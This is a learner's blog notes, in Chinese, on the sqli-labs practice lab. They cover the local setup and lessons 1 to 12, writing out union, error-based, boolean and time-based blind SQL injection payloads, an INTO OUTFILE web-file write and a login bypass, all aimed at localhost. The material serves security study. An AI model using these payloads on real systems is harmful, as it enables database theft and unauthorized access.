sqlilabs安装

下载

1.下载phpstudy 2.在www文件夹下https://github.com/Audi-1/sqli-labs.git 3.在sql-connections文件夹下,打开db-creds.inc文件(用notepad++方便),更改密码为root,复制security

配置

1.phpstudy面板,打开mysql工具,mysql命令行 2.create database security; 3.use security 4.sql文件导入数据库,此处需要用到sql-lab.sql文件,source (C:\software\phpstudy\WWW\sqli-labs\sql-lab.sql)(sql-lab.sql的文件路径)

打开

http://localhost/sqli-labs 点开第一个set up,再返回即可

基础查询

information_schmea

这个是自带的数据库,从这里可以查询建立的数据库名及表名

查表名


(table_name存储所有表名,table_schema存储所有数据库名)

(这里的顺序是先用database()得到数据库名,用数据库名赋值给table_schema,从而限定information_schema.tables的查找范围限定在当前数据库,再查询对应的表名)

select group_concat(table_name) from information_schema.tables where table_schema=database()


前面的查询可能会只查询出一条结果,但是实际要查的表名可能很多,比如passwd和key,这样用group_concat就可以联合查询,让所有内容一起输出

假设查出的表名为stu

### 查列名

```select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'stu'```

(加where table_schema=database()是为了防止有不同数据库内有重复表名的存在)

查信息 

```select 
union select 1,group_concat(username),group_concat(passwd) from information_schema=database() and table_name= 'stu' 
也可以 
union select 1,group_concat(username),group_concat(passwd) from stu 

常见函数

函数名 例子 作用
group_concat() group_concat(id,name,passwd) / group_concat(version(),database()) 将()内的内容聚合到一行输出
database() 查询数据库名
version() 查询版本信息

union查询

原理

正常使用:


表单stu


| id   | name     | age  |
| ---- | -------- | ---- |
| 1    | xiaoming | 12   |

表单coach


| id   | name |
| ---- | ---- |
| 1    | dk   |

结果会回显stu的id,name,age的内容和coach的id和name的内容,但是coach少了一列,而union查询必须要前后列一致,所以需要补齐查询

select * from stu where id = 1 union select *,123 from coach where id = 1


这样查询的结果就都是三列了

#### 注入查询:

通常在页面内的回显只会是返回查询stu的内容而不是coach的内容,所以可以查询stu中空的内容来显示coach的内容,比如查询stu的id为-1,在查询时使用union 查询,通常会查询数据库名或者服务器版本信息等

select * from stu where id = 1 union select 1,passwd,version


## 字符类型

如果输入的变量是字符类型(string),那么查询之后要加上单引号或者双引号,id='1'这样的

如果输入的变量是整型(int),那么不需要加上引号或各种括号进行闭合,比如id=1

## 列的数量

order by或者group by都可以,group by可能会出现一些奇怪的东西,但是order by会被waf记录,而group by则不会

### 原理

#### order by

##### 正常使用

比如一个数据表有每个人的成绩,第一列是学号,第二列是姓名,第三列是成绩(score),那么```order by 3```跟```order by score```就是等效的,是按照学生的成绩对表单进行排序

##### 注入查询

这个表单只有三列,到order by 3还可以正常显示,order by 4就会报错,所以表明表单只有3列

#### group by

##### 正常使用

表单有三列,第一列是名字,第二列是性别(gender),第三列是成绩(score),通常group by会和其它查询函数联合使用,比如avg() average平均值,联合查询后,就会只有两列,group将按照gender将表单的所有行分成男女两组,并分别求平均值

##### 注入查询

同上

## 报错查询

### extractvalue()

?id=100’ union select 1, extractvalue(1,concat(0x7e,(select database()))) ,3 –+


用于查询xml数据,正确用法是extractvalue(数据类型,数据路径)

这里只能用concat而不能用group_concat(),concat是单纯将两个及以上字符连接起来,而group_concat是将查询的结果连接起来,而且group_concat()后要跟上group by才能正常使用,而```select group_concat(table_name) from information_schema.tables where table_schema=database()```可以不跟group by就直接使用是因为information_schema.tables本身就是一个group(理解成隐式群组)

必须要用concat()进行联合查询是因为extractvalue()必须是数据类型和数据路径,在数据类型这里可以选择错误的内容,而数据路径要更改为需要查询的内容,直接select是进行一个查询,而这里需要一个字符串(用括号将select查询包裹起来也不可以,不知道为什么)

# 笔记

## Lession1

[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230419212646.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230419212646.png)
1.先判断是否有sql注入
`?id=1`
[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230419213507.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230419213507.png)

2.用sqlmap跑一下试试(主要是没看懂教程网课说的是什么意思)
`sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=1`
[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230420171058.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230420171058.png)
返回给我四个类型的注入

### 基于布尔型盲注

1.概念:构造可以判断为真或假的SQL逻辑语句,根据页面返回的结果是否正常来判断语句结果是真或假。典型的构造方式是使用“AND 1=1”(真)或“AND 1=2”(假)。(源自claude)
就是在url界面输入值后,是否会在页面进行显示内容,比如本题,进行注入`'and 1=1 --+`此时结果为真,可以返回id=1的值[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230420171334.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230420171334.png),如果结果为假,例如1=2,由于是and语句,前后都为真才可执行,id=1为真,1=2为假,所以语句不执行,则返回空值[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230420171459.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230420171459.png)
2.步骤:确认注入点、信息收集和利用(同样来源于claude)[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230420171822.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230420171822.png)现在应该还学不到那种程度,现在可以利用简单的函数来判断一些数据,比如length(database())这个函数,可以判断数据库名称的长度是多少,比如现在的数据库(database)的名称是security,那么length(database())返回值就是8(应该可以配合burpsuite的爆破使用,爆破出正确的值,然后根据这个正确的值注入,后面的ascii同理)
[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230420170754.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230420170754.png)
ascii判断:?id=1’ and ascii(substr(database(),1,1))=33 –+ 比如security这个数据库第一个字母为s,ascii码值为115,所以[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230420200757.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230420200757.png)
(剩下的还没学明白)

### 注释符号

单引号报错[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230421184833.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230421184833.png)
两个单引号可以[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230421184743.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230421184743.png)
原语句`select * from table where id = '$id' `假设现有的两个’分别记为1号,2号
注入语句为`?id=1'` 这里的’记为3号,注入后`select * from table where id = '$id''`,此时’分别为1,3,2号,那么拼接后的语句1,2号为引号但是3号没有与之配对的,所以会报错,但注入双引号之后,就是1332,12正常配对,33配对引起的内容为空,但是不会报错(传入参数的分号配对优先级低于原来的’’,所以前面可以用3号分号跟原来的1号配对,而2号则被注释掉了)
`select * from table where id = '1'and 1=2''`

## Lession2

| 注入语句            | y/n  |
| ------------------- | ---- |
| `?id=1 and 1=1--+`  | y    |
| `?id=1' and 1=1--+` | n    |
| `?id=1' and 1=1`    | n    |
| `?id=1 and 1=1`     | y    |

所以后台语句为select * from table where id = $id

## Lession3

单引号起手尝试[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230421201502.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230421201502.png)
报错,但是看到报错里有),推测原查询语句为`select * from table where id = ('1')`或`select * from table where id = '(1)'`

先尝试`?id=1)' and 1=2 --+`,这里猜测原语句为`select * from table where id = '(1)'` 如果是这个则注入之后就是`select * from table where id = '(1)'and 1=2--+)'`如果是这个,则原来的括号和引号被注释掉
[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230421201837.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230421201837.png)报错,所以这个不对,那么猜测原语句为`select * from table where id = ('1')`
然后再尝试注入`?id=1') and 1=2 --+`,如果是这个则注入后为```select * from table where id = (‘1’)and 1=2–+)’

## Lession4

[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230421203644.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230421203644.png)
原语句是id=($id)

## Lession5

找原语句还是没什么太大问题,但是看着不少教程从这一关开始搞爆破了,所以跟着走一遍
注入代码`?id=1' and 1=2--+`不报错,但是不显示内容,所以原语句是`select * from table where id = '$id'`
爆破数据库名称 `substr(database(),1,1)`
[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422125419.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422125419.png)
不是s的情况
[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422125453.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422125453.png)
但是bp还没搞明白怎么逐个字母爆破,所以改成ascii码值,a-z的ascii码值分别是97-122,所以注入语句改为`?id=1' and ascii(substr(database(),1,1))=115`
[![img](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422125722.png)
以及非115的情况
[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422125757.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422125757.png)

现在用bp爆破一遍
1.代理抓包
2.右键,发送到intruder
3.清除原有payload,选定115为新的payload
4.[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422130007.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422130007.png)
5.爆破[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422130034.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422130034.png)

捯饬了一下找到怎么用字母爆破了
前三步一样,但要用ascii()包起来原来的参数,payload集还是1,类型由数值改为简单列表,点击payload设置>>从列表添加
[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422133730.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230422133730.png)

## Lession6

一开始傻了,以为双引号就是两个单引号,一直找不到语法报错提示,改成shift+”就有正常报错提示了,跟第五关差不多

## Lession7 GET-Dump into outfile

这个可以注入文件 dump是临时存储的数据,outfile是上传文件,就是通过url框向服务器传入一个文件,文件的内容就是在url框里查询出来的内容
注入语句`?id=1')) union select 1,3,4 into outfile "E:\\phpstudy\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\a.php"--+`
union必须带 后面只能穿3个参数,可能是因为源文件就这么设置的 into outfile是固定语句
踩得一些坑:
`SHOW VARIABLES LIKE "secure_file_priv";`查看状态 ,如果是空值就可以成功注入,如果是null则不行
如果是null的话需要打开mysql.ini文件(claude说的是mysql.cnf),添加`secure_file_priv = ''`
一开始添加在文件的最下面,但是不行,然后加在[mysqld]的下面,重新重启phpstudy可以注入了

## Lession8

又是布尔盲注,但看攻略也没发现跟前面的基于错误报错有什么区别,试一下爆出版本号
mid()函数
[![img](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230423193845.png)
`?id=1' and mid(version(),1,1)=5 --+`
`?id=1' and mid(version(),1,2)=5.0 --+`

## Lession9

[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230423211017.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230423211017.png)
不知道为什么0 1都是一样的you are in…,再用sqlmap跑一次
[![img](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230423213626.png)
用时间注入,从29秒开始可以注入,应该是
[![img](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230423213606.png)
`?id=1'and if(length(database())=7,sleep(3),1) --+`
if(判断,如果对则,错则) 错的返回值(结果集)填什么都可以,但必须要填,就比如`select * from table where id = 1`返回值就是id=1的所有字段,所有字段就是结果集
[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230423215539.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230423215539.png)

## Lession10

跟9差不多,但是双引号

?id=1”and if(1=2,sleep(50),1) –+


## Lession11 Post

[![img](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230425201641.png)](https://taosu0216-1314485098.cos.ap-beijing.myqcloud.com/20230425201641.png)

一上来界面就不一样了,变成一个输入账密的代码框,一开始各种乱试瞎猜都没成功,唯一一次有点沾边的想法是username框不能给注释掉,要不然password就输入不进去了,搜了教程才想明白

select * from table where name=‘$username’ and password = ‘$password’ “`

所以想要注入应该是在username框输入 admin' and 1='1 这样admin左边原来有一个分号,右边在代码框输入了一个分号,而’1 右边有原来属于’$username’的右边的分号,这样就齐活了 select * from table where uname='$username' or 1=1 and passwd = '$password'这个语句包括了三个判断条件,$username存在,1=1,$password存在,但是因为1=1为永真,所以剩下两个只要一个有就能查出来

Lession12

单引号边双引号

Category: 安全 | Tags: SQL | Created: 2024-11-30 18:13:49